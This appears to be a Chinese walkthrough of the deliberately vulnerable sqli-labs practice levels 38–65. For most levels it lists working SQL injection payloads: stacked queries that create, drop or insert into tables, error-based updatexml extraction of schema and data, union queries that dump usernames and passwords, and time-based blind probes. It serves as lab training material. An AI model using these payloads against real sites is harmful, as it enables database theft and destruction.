文章目录
less 38
堆叠注入:将语句堆叠在一起,使用分号隔开;
堆叠注入在mysql数据库中的使用:
select * from users where id=1;create table test like users; //新建表
select * from users where id=1;drop table test; //删除表
select * from users where id=1;select 1,2,3; //查询数据
select * from users where id=1;select load_file('c:/tmpupbbn.php'); //加载文件
select * from users where id=1;insert into users(id,username,password) values ('100','new','new'); //修改文件
方法1——报错注入
- 测试后
sql
语句的闭合方式为单引号。 - 尝试后发现可以使用报错注入
/?id=1' and updatexml(1,concat(0x7e,(database())),1)--+
?id=-1' or updatexml(1,concat(0x7e,( select table_name from information_schema.tables where table_schema='security' limit 0,1 )),1) --+
?id=-1' or updatexml(1,concat(0x7e,( select column_name from information_schema.columns where table_name='emails' limit 0,1 )),1) --+
?id=-1' or updatexml(1,concat(0x7e,( select id from security.emails limit 0,1)),1) --+
联合注入
堆叠注入
使用堆叠注入来创建、删除表
?id=1';insert into users(id,username,password) values ('38','less38','hello')--+
id=-1' union select 1,2,group_concat(concat_ws(0x7e,id,username,password)) from security.users--+ // 使用联合注入来验证
?id=1';create table crow like users--+ //创建表
//验证
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=1' ;drop table crow--+ //删除表
less 39
与38关解题思路相同,唯一的区别在于本关为整数型注入,无包裹。
less 40
多次测试后,得到闭合方式为')
联合注入
堆叠注入
与38
关相同的堆叠注入的思路
less 41
思路与40
关相同,区别在于本关为整数型注入,无包裹。
less 42
报错注入
- 查看题目提示,本关的传参方式为
POST
。 - 使用
burp
抓包进行测试,发现password
处为注入点,且闭合方式为单引号。 - 使用联合注入进行测试并结合题目提示,使用报错注入。
1' and updatexml(1,concat(0x7e,(database())),1)--+
-1' or updatexml(1,concat(0x7e,( select table_name from information_schema.tables where table_schema='security' limit 0,1 )),1) --+
-1' or updatexml(1,concat(0x7e,( select column_name from information_schema.columns where table_name='emails' limit 0,1 )),1) --+
-1' or updatexml(1,concat(0x7e,( select id from security.emails limit 0,1)),1) --+
堆叠注入
less 43
与42
关思路相同,唯一的区别在于本关的闭合方式为')
less 44
- 题目提示传参方式为
POST
。 - 本关闭合测试有一些不一样,经测试后闭合方式为单引号
1 or 1=1--+
1' or 1=1--+
1" or 1=1--+
1') or 1=1--+
1") or 1=1--+
- 根据题目提示使用堆叠注入,盲注。
a';create table test like users#
a';insert into users values(18,'icepeak','icepeak')#
less 45
与44
关注入思路相同,唯一的区别在于本关闭合方式为')
。
less 46
查看题目页面提示传入sort
参数,尝试使sort=1
sort=2
sort=3
sort=4
时提示不存在第四列,我们发现sort
等于几时则按第几列的升序排列
?sort=3' //判断为数字型注入
分析源码,我们发现前面都是使用get
传参传入id
值,而在这关中传入的是sort
值。
select * from users order by 1 desc; 使用降序进行排列
select * from users order by 1 asc;使用升序进行排列
报错注入
由于题目中只给了报错信息,我们可以尝试报错注入。
?sort=1 and updatexml(1,concat(0x7e,(database())),1)--+
?sort=-1 or updatexml(1,concat(0x7e,( select table_name from information_schema.tables where table_schema='security' limit 0,1 )),1) --+
?sort=-1 or updatexml(1,concat(0x7e,( select column_name from information_schema.columns where table_name='emails' limit 0,1 )),1) --+
?sort=-1 or updatexml(1,concat(0x7e,( select id from security.emails limit 0,1)),1) --+
时间盲注
?sort=1 and if(length(database())=8,1,sleep(10)) --+
less 47
本关注入思路与46
关相同,唯一区别在于闭合方式为单引号。
less 48
查看题目提示,经测试无包裹且无报错回显,则使用时间盲注。
less 49
与38关注入思路相同,区别在于本关的闭合方式为单引号。
less 50
查看题目提示,本关无包裹。
堆叠注入
?sort=1;insert into users(id,username,password) values(50,'Less50','Less50')--+
报错注入
?sort=1 and updatexml(1,concat(0x7e,(database())),1)--+
?sort=-1 or updatexml(1,concat(0x7e,( select table_name from information_schema.tables where table_schema='security' limit 0,1 )),1) --+
?sort=-1 or updatexml(1,concat(0x7e,( select column_name from information_schema.columns where table_name='emails' limit 0,1 )),1) --+
?sort=-1 or updatexml(1,concat(0x7e,( select id from security.emails limit 0,1)),1) --+
less 51
注入思路与50关相同,唯一的区别在于本关闭合方式为单引号。
less 52
无包裹,使用盲注或堆叠注入。
less 53
与52
关的唯一区别是本关闭合方式为单引号。
less 54
查看题目页面有次数限制,尝试五次以内即可测出闭合方式为单引号,后续使用联合注入即可爆出库名、表名、字段、字段中的值。
less 55
无包裹,与54
关相同,使用联合注入即可。
less 56
闭合方式为')
less 57
闭合方式为"
less 58
测试闭合方式为单引号,联合注入不成功,则尝试报错注入发现可行。
less 59
数字型注入,无包裹
less 60
闭合方式为")
less 61
闭合方式为'))
less 62
闭合方式为')
,基于时间的盲注
less 63
闭合方式为'
less 64
闭合方式为))
less 65
闭合方式为")